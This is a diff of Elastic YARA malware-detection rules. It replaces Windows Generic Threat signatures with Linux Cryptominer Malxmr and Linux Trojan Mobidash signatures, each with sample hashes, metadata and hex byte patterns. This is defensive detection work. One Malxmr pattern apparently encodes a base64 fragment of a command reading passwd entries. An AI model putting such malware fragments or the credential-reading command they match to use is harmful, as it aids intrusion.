-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "63d2478a5db820731a48a7ad5a20d7a4deca35c6b865a17de86248bef7a64da7"
-		logic_hash = "f64b1666f78646322a4c37dc887d8fcfdb275b0bca812e360579cefd9e323c02"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Malxmr.yar#L101-L119"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "00ec7a6e9611b5c0e26c148ae5ebfedc57cf52b21e93c2fe3eac85bf88edc7ea"
+		logic_hash = "9c43602dc752dd737a983874bee5ec6af145ce5fdd45d03864a1afdc2aec3ad4"
 		score = 75
-		quality = 69
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "09f1724963bfdde810b61d80049def388c89f6a21195e90a869bb22d19d074de"
-		severity = 50
+		fingerprint = "838950826835e811eb7ea3af7a612b4263d171ded4761d2b547a4012adba4028"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 7E 38 7E 40 7E 44 48 4C 2A 7E 7E 58 5D 5C }
-		$a2 = { 39 7B 34 74 26 39 3A 62 3A 66 25 6A }
-		$a3 = { 5B 50 44 7E 66 7E 71 7E 77 7E 7C 7E }
+		$a = { D2 4C 89 54 24 A0 4C 89 FA 48 F7 D2 48 23 54 24 88 49 89 D2 48 8B 54 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_Fcab7E76 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Malxmr_Bcab1E8F : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Cryptominer Malxmr (Linux.Cryptominer.Malxmr)"
 		author = "Elastic Security"
-		id = "fcab7e76-5edd-4485-9983-bcc5e9cb0a08"
-		date = "2024-01-12"
-		modified = "2024-02-08"
+		id = "bcab1e8f-8a8f-4309-8e47-416861d1894c"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1097-L1115"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "67d7e016e401bd5d435eecaa9e8ead341aed2f373a1179069f53b64bda3f1f56"
-		logic_hash = "90f50d1227b8e462eaa393690dc2b25601444bf80f2108445a0413bff6bedae8"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Malxmr.yar#L121-L139"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "19df7fd22051abe3f782432398ea30f8be88cf42ef14bc301b1676f35b37cd7e"
+		logic_hash = "72643b2860f40c7e901c671d7cc9992870b91912df5d75d2ffba0dfb8684f8d3"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8a01a3a398cfaa00c1b194b2abc5a0c79d21010abf27dffe5eb8fdc602db7ad1"
-		severity = 50
+		fingerprint = "2106f2ba97c75468a2f25d1266053791034ff9a15d57df1ba3caf21f74b812f7"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 28 FA 00 2B CD 65 50 7C FF CF 34 00 80 41 BF 1E 12 1A F9 20 0F 56 EE 9F BA C0 22 7E 97 FC CB 03 C7 67 9A AE 8A 60 C0 B3 6C 0D 00 2B 2C 78 83 B5 88 03 17 3A 51 4A 1F 30 D2 C0 53 DC 09 7A BF 2D }
+		$a = { EB D9 D3 0B EB D5 29 0B EB D1 03 48 6C 01 0B EB CA 0F AF 0B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_90E4F085 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Malxmr_6671F33A : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Cryptominer Malxmr (Linux.Cryptominer.Malxmr)"
 		author = "Elastic Security"
-		id = "90e4f085-2f53-4e5e-bcb6-c24823539241"
-		date = "2024-01-12"
-		modified = "2024-02-08"
+		id = "6671f33a-03bb-40d8-b439-64a66082457d"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1117-L1137"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1a6a290d98f5957d00756fc55187c78030de7031544a981fd2bb4cfeae732168"
-		logic_hash = "2afeae6de965ae155914dcedbfe375327a9fca3b42733c23360dd4fddfcc8a3d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Malxmr.yar#L141-L159"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "85fa30ba59602199fd99463acf50bd607e755c2e18cd8843ffcfb6b1aca24bb3"
+		logic_hash = "a15c842c7c7ec3b11183a1502f8ec03ea786e3f0d47fbab58c62ffff7b018030"
 		score = 75
-		quality = 69
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "1d40eef44166b3cc89b1f2ba9c667032fa44cba271db8b82cc2fed738225712a"
-		severity = 50
+		fingerprint = "cb178050ee351059b083c6a71b5b1b6a9e0aa733598a05b3571701949b4e6b28"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 39 39 21 3A 37 3B 45 3C 50 3D 5B 3E 66 3F }
-		$a2 = { 66 32 33 39 20 3A 4E 3D 72 68 74 76 48 }
-		$a3 = { 32 78 37 7A 42 5A 4C 22 2A 66 49 7A 75 }
+		$a = { 4D 18 48 01 4B 18 5A 5B 5D C3 83 C8 FF C3 48 85 FF 49 89 F8 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_04A9C177 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Malxmr_74418Ec5 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Cryptominer Malxmr (Linux.Cryptominer.Malxmr)"
 		author = "Elastic Security"
-		id = "04a9c177-cacf-4509-b8dc-f30a628b7699"
-		date = "2024-01-12"
-		modified = "2024-02-08"
+		id = "74418ec5-f84a-4d79-b1b0-c1d579ad7b97"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1139-L1157"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0cccdde4dcc8916fb6399c181722eb0da2775d86146ce3cb3fc7f8cf6cd67c29"
-		logic_hash = "ca7cf71228b1e13ec05c62cd9924ea5089fdf903d8ea4a5151866996ea81e01e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Malxmr.yar#L161-L179"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d79ad967ac9fc0b1b6d54e844de60d7ba3eaad673ee69d30f9f804e5ccbf2880"
+		logic_hash = "e74463f53611baaec7c8e126218d8353c6e3a5e71c20e98a7035df6b771b690b"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "b36da73631711de0213658d30d3079f45449c303d8eb87b8342d1bd20120c7bb"
-		severity = 50
+		fingerprint = "ec14cac86b2b0f75f1d01b7fb4b57bfa3365f8e4d11bfed2707b0174875d1234"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 6F 81 00 06 FE 3C A3 C3 D6 37 16 00 C2 87 21 EA 80 33 09 E5 00 2C 0F 24 BD 70 BC CB FB 00 94 5E 1B F8 14 F6 E6 95 07 01 CD 02 B0 D7 30 25 65 99 74 01 D6 A4 47 B3 20 AF 27 D8 11 7F 03 57 F6 37 }
+		$a = { F9 75 7A A8 8A 65 FC 5C E0 6E 09 4B 8F AA B3 A4 66 44 B1 D1 13 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_45D1E986 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Malxmr_979160F6 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Cryptominer Malxmr (Linux.Cryptominer.Malxmr)"
 		author = "Elastic Security"
-		id = "45d1e986-78fb-4a83-97f6-2b40c657e709"
-		date = "2024-01-12"
-		modified = "2024-02-08"
+		id = "979160f6-402a-4e4b-858a-374c9415493b"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1159-L1177"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "fd159cf2f9bd48b0f6f5958eef8af8feede2bcbbea035a7e56ce1ff72d3f47eb"
-		logic_hash = "d53a4d189b9a49f9b6477e12bce0d41e62827306d1df79e6494ab67669d84f35"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Malxmr.yar#L181-L198"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "e70097fb263c90576e87e76cc7be391dbf9c9d73bbd7fb8e5ec282e6ac1f648d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "facb67b78cc4d6cf5d141fd7153d331209e5ce46f29c0078c7e5683165c37057"
-		severity = 50
+		fingerprint = "fb933702578e2cf7e8ad74554ef93c07b610d6da8bc5743cbf86c363c1615f40"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 28 45 00 06 00 00 00 08 28 45 00 09 00 00 00 14 28 45 00 09 00 00 00 20 28 45 00 07 00 00 00 28 28 45 00 0A 00 00 00 34 28 45 00 0B 00 00 00 40 28 45 00 09 00 00 00 5B 81 45 00 00 00 00 00 4C }
+		$a = { E0 08 C1 ED 10 41 31 C3 89 D8 45 09 D0 C1 E8 10 C1 E3 10 41 C1 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_83C38E63 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Malxmr_Fe7139E5 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Cryptominer Malxmr (Linux.Cryptominer.Malxmr)"
 		author = "Elastic Security"
-		id = "83c38e63-6a18-4def-abf2-35e36210e4cf"
-		date = "2024-01-12"
-		modified = "2024-02-08"
+		id = "fe7139e5-3c8e-422c-aaf7-e683369d23d4"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1179-L1198"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2121a0e5debcfeedf200d7473030062bc9f5fbd5edfdcd464dfedde272ff1ae7"
-		logic_hash = "89d4036290a29b372918205bba85698d6343109503766cbb13999b5177fc3152"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Malxmr.yar#L200-L218"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "8b13dc59db58b6c4cd51abf9c1d6f350fa2cb0dbb44b387d3e171eacc82a04de"
+		logic_hash = "d1ef74f2a74950845091b2ebc2f7fd05980bcbd2aea4fdd9549c54cec1768501"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "9cc8ee8dfa6080a18575a494e0b424154caecedcc8c8fd07dd3c91956c146d1e"
-		severity = 50
+		fingerprint = "4af38ca3ec66ca86190e6196a9a4ba81a0a2b77f88695957137f6cda8fafdec9"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 32 65 65 64 36 35 36 64 64 35 38 65 39 35 30 35 62 34 33 39 35 34 32 30 31 39 36 66 62 33 35 36 }
-		$a2 = { 34 2A 34 4A 34 52 34 60 34 6F 34 7C 34 }
+		$a = { FF 74 5B 48 29 F9 49 89 DC 4C 8D 69 01 49 D1 ED 4C 01 E9 4D 8D 6C }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_Bd24Be68 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Malxmr_F35A670C : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Cryptominer Malxmr (Linux.Cryptominer.Malxmr)"
 		author = "Elastic Security"
-		id = "bd24be68-3d72-44fd-92f2-39f592d47d0e"
-		date = "2024-01-12"
-		modified = "2024-02-08"
+		id = "f35a670c-7599-4c93-b08b-463c4a93808a"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1200-L1218"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "fd159cf2f9bd48b0f6f5958eef8af8feede2bcbbea035a7e56ce1ff72d3f47eb"
-		logic_hash = "8536593696930d03f1e62586886f0df5438d13fb796b4605df7ad67d9633d5f9"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Malxmr.yar#L220-L238"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a73808211ba00b92f8d0027831b3aa74db15f068c53dd7f20fcadb294224f480"
+		logic_hash = "95a8aeffb7193c3f4adfea5b7f0741a53528620c57cbdb4d471d756db03c6493"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "35ff6c9b338ef95585d8d0059966857f6e5a426fa5f357acb844d264d239c70d"
-		severity = 50
+		fingerprint = "9064024118d30d89bdc093d5372a0d9fefd43eb1ac6359dbedcf3b73ba93f312"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 55 8B EC 8B 4D 0C 56 8B 75 08 89 0E E8 AB 17 00 00 8B 48 24 89 4E 04 E8 A0 17 00 00 89 70 24 8B C6 5E 5D C3 55 8B EC 56 E8 8F 17 00 00 8B 75 08 3B 70 24 75 0E 8B 76 04 E8 7F 17 00 00 89 70 24 }
+		$a = { 4C 01 CD 48 0F AF D6 48 8D 54 55 00 89 DD 48 31 D7 48 C1 C7 20 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_A0C7B402 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Malxmr_70E5946E : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Cryptominer Malxmr (Linux.Cryptominer.Malxmr)"
 		author = "Elastic Security"
-		id = "a0c7b402-cee5-4da6-9a32-72b1a0ae0f8d"
-		date = "2024-01-16"
-		modified = "2024-02-08"
+		id = "70e5946e-3e73-4b07-9e7d-af036a3242f9"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1220-L1238"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5814d7712304800d92487b8e1108d20ad7b44f48910b1fb0a99e9b36baa4333a"
-		logic_hash = "d0aa75debbefb301b9fc46ceca4944ae8c4b009118214a9589440b59089b853e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Malxmr.yar#L240-L258"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2c2729395805fc9d3c1e654c9a065bbafc4f28d8ab235afaae8d2c484060596b"
+		logic_hash = "324deafee2b14c125100e49b90ea95bc1fc55020a7e81a69c7730a57430560f4"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "0ca7d91a97c12f4640dd367d19d8645dd1da713cfa62289c40f8c34202ddf256"
-		severity = 50
+		fingerprint = "ced6885fda17c862753232fde3e7e8797f5a900ebab7570b78aa7138a0068eb9"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 55 89 E5 57 56 83 E4 F8 83 EC 20 8B 75 10 8B 7D 0C 89 E0 8D 4C 24 18 6A 05 6A 18 50 51 FF 75 08 68 BC 52 4D 90 E8 26 00 00 00 83 C4 18 85 FF 74 06 8B 4C 24 08 89 0F 85 F6 74 08 80 7C 24 15 00 }
+		$a = { 4F 70 48 8D B4 24 B0 00 00 00 48 89 34 CA 49 8B 57 68 48 89 C8 83 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_42B3E0D7 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Malxmr_033F06Dd : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Cryptominer Malxmr (Linux.Cryptominer.Malxmr)"
 		author = "Elastic Security"
-		id = "42b3e0d7-ec42-4940-b5f3-e9782997dccf"
-		date = "2024-01-17"
-		modified = "2024-02-08"
+		id = "033f06dd-f3ed-4140-bbff-138ed2d8378c"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1240-L1258"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "99ad416b155970fda383a63fe61de2e4d0254e9c9e09564e17938e8e2b49b5b7"
-		logic_hash = "58b4c667b6d796f4525afeb706394f593d03393e3a48e2a0b7664f121e6a78fe"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Malxmr.yar#L260-L278"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3afc8d2d85aca61108d21f82355ad813eba7a189e81dde263d318988c5ea50bd"
+		logic_hash = "a0c788dbcd43cab2af1614d5d90ed9e07a45b547241f729e09709d2a1ec24e60"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "7d3974400d05bc7bbcd63c99e8257d0676b38335de74a4bcfde9e86553f50f08"
-		severity = 50
+		fingerprint = "2f1f39e10df0ca6c133237b6d92afcb8a9c23de511120e8860c1e6ed571252ed"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 83 C4 F8 53 33 DB 6A 00 8D 45 F8 50 8B 45 0C 50 8B 45 10 50 6A 00 6A 00 33 C9 33 D2 8B 45 08 E8 B1 F7 FF FF 85 C0 75 05 BB 01 00 00 00 8B C3 5B 59 59 5D C2 0C 00 8D 40 00 53 BB E0 E1 }
+		$a = { 42 68 63 33 4E 33 5A 48 78 6A 64 58 51 67 4C 57 51 36 49 43 31 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_66142106 : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Malxmr_Ce0C185F : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Cryptominer Malxmr (Linux.Cryptominer.Malxmr)"
 		author = "Elastic Security"
-		id = "66142106-d602-4b1b-a79b-64d692c613ca"
-		date = "2024-01-17"
-		modified = "2024-02-08"
+		id = "ce0c185f-fca2-47d3-9e7c-57b541af98a5"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1260-L1278"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "cd164a65fb2a496ad7b54c782f25fbfca0540d46d2c0d6b098d7be516c4ce021"
-		logic_hash = "bf5d8db3ed6d2abc3158b04e904351250bf17a6d766e31769b3c5a6e534165b0"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Malxmr.yar#L280-L298"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "cdd3d567fbcbdd6799afad241ae29acbe4ab549445e5c4fc0678d16e75b40dfa"
+		logic_hash = "f88c5a295cc62f5a91e26731fc60aaf450376cbb282f43304ba2a5ac5d149dd4"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "b5816297691fefc46ab11cb175a4e20d40c5095c20417e80590ceb05bd1ec974"
-		severity = 50
+		fingerprint = "0d2e3e2b04e93f25c500677482e15d92408cb1da2a5e3c5a13dc71e52d140f85"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 83 EC 10 6A 00 8D 4D F0 E8 6B FF FF FF 8B 45 F4 BA E9 FD 00 00 39 50 08 74 0C E8 29 48 00 00 33 D2 85 C0 75 01 42 80 7D FC 00 74 0A 8B 4D F0 83 A1 50 03 00 00 FD 8B C2 C9 C3 8B FF 56 }
+		$a = { EF E5 66 0F 6F AC 24 80 00 00 00 66 0F EB E8 66 0F EF D5 66 0F }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_51A1D82B : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Malxmr_Da08E491 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Cryptominer Malxmr (Linux.Cryptominer.Malxmr)"
 		author = "Elastic Security"
-		id = "51a1d82b-2ae0-45c9-b51d-9b54454dfcee"
-		date = "2024-01-17"
-		modified = "2024-02-08"
+		id = "da08e491-c6fa-4228-8b6a-8adae2f0324a"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1280-L1298"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1a7adde856991fa25fac79048461102fba58cda9492d4f5203b817d767a81018"
-		logic_hash = "2d6b0560e1980deb6aad8e0902d065eeda406506b70bb8bb27c7fa58be9842f8"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Malxmr.yar#L300-L318"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4638d9ece32cd1385121146378772d487666548066aecd7e40c3ba5231f54cc0"
+		logic_hash = "f98252c33f8d76981bbc51de87a11a7edca7292a864fc2a305d29cd21961729e"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "fddf98cdb00734e50908161d6715e807b1c4437789af524d6f0a17df55572261"
-		severity = 50
+		fingerprint = "c4911fdeece4c3f97bbc9ef4da478c5f5363ab71a70b0767edec0f94b87fd939"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 83 EC 04 53 56 57 89 4D FC 8B 45 FC 50 FF 15 D0 63 41 00 5F 5E 5B C9 C3 CC CC CC CC CC 66 8B 01 56 66 8B 32 57 66 3B F0 72 44 75 0A 66 8B 79 02 66 39 7A 02 72 38 66 3B F0 75 14 66 8B }
+		$a = { F9 48 31 CD 48 89 F9 48 F7 D1 4C 21 F9 48 21 DA 49 31 CA 48 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_Dee3B4Bf : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Mobidash_52A15A93 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Generic Threat (Windows.Generic.Threat)"
+		description = "Detects Linux Trojan Mobidash (Linux.Trojan.Mobidash)"
 		author = "Elastic Security"
-		id = "dee3b4bf-f09e-46a7-b177-6b1445db88ad"
-		date = "2024-01-17"
-		modified = "2024-02-08"
+		id = "52a15a93-0574-44bb-83c9-793558432553"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Generic_Threat.yar#L1300-L1318"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "c7f4b63fa5c7386d6444c0d0428a8fe328446efcef5fda93821f05e86efd2fba"
-		logic_hash = "cfd7f9250ab44ffe12b62f84ae753032642d9aa2524d88a6d4d989a2afa043a3"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mobidash.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6694640e7df5308a969ef40f86393a65febe51639069cb7eaa5650f62c1f4083"
+		logic_hash = "ceaf5b06108baa6043e31010d777099ed6ac9b4054e86d41309bd7c2b0ffda11"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "6f6cf93e5ac640d1e71f9554752a846c3cc051d95c232e2f4d8fa383d5a3b5af"
-		severity = 50
+		fingerprint = "a7ceff3bbd61929ab000d18ffdf2e8d1753ecea123e26cd626e3af64341effe6"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 4A 75 73 74 20 63 6F 70 79 20 74 68 65 20 70 61 74 63 68 20 74 6F 20 74 68 65 20 70 72 6F 67 72 61 6D 20 64 69 72 65 63 74 6F 72 79 20 61 6E 64 20 61 70 70 6C 79 2E }
+		$a = { 41 89 CE 41 55 41 54 49 89 F4 55 48 89 D5 53 48 89 FB 48 8B 07 FF 90 F8 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Generic_Threat_Fdbcd3F2 : FILE MEMORY
